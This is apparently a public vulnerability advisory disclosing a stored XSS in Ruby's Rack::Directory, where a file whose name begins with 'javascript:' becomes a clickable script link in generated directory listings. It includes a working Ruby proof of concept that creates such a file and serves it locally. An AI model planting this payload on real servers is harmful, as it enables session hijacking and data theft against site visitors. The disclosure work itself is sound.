============================================================================================================================================= | # Title : Rack Rack::Directory via javascript: Filename Scheme XSS Stored | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://github.com/rack/rack | ============================================================================================================================================= [+] Summary : A Stored Cross-Site Scripting (XSS) vulnerability affects Rack::Directory in Rack versions prior to 2.2.22, 3.1.20, and 3.2.5. Rack::Directory generates an HTML directory index where each file is displayed as a clickable anchor element. If a file exists on disk whose basename begins with the javascript: URI scheme (for example, javascript:alert(1)), the generated directory listing will contain an tag with its href attribute set directly to that value. When a user clicks the malicious entry, the browser executes the embedded JavaScript in the security context of the hosting domain. This behavior results in a Stored XSS condition, as the payload persists on disk and is served to any user who accesses the directory listing. Successful exploitation may allow attackers to execute arbitrary JavaScript within the affected origin, potentially leading to session hijacking, sensitive data exposure, CSRF token theft, or unauthorized actions performed on behalf of authenticated users. The vulnerability primarily impacts applications that expose directory listings using Rack::Directory without additional validation, URI scheme filtering, or strict security controls such as Content Security Policy (CSP). The issue has been addressed in Rack versions 2.2.22, 3.1.20, and 3.2.5, which properly mitigate unsafe URI schemes in generated directory listings. [+] POC : require 'fileutils' require 'rack' require 'rack/handler/webrick' DUMMY_DIR = "vulnerable_directory" FileUtils.mkdir_p(DUMMY_DIR) payload_name = "javascript:alert('System Compromised!\\nDomain: ' + document.domain)" FileUtils.touch(File.join(DUMMY_DIR, payload_name)) puts "[+] Malicious file created: #{payload_name}" app = Rack::Builder.new do use Rack::CommonLogger run Rack::Directory.new(DUMMY_DIR) end puts "[*] Server is now running at http://localhost:8080" puts "[!] Open the link in your browser and click the filename to trigger the XSS." Rack::Handler::WEBrick.run app, Port: 8080 Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================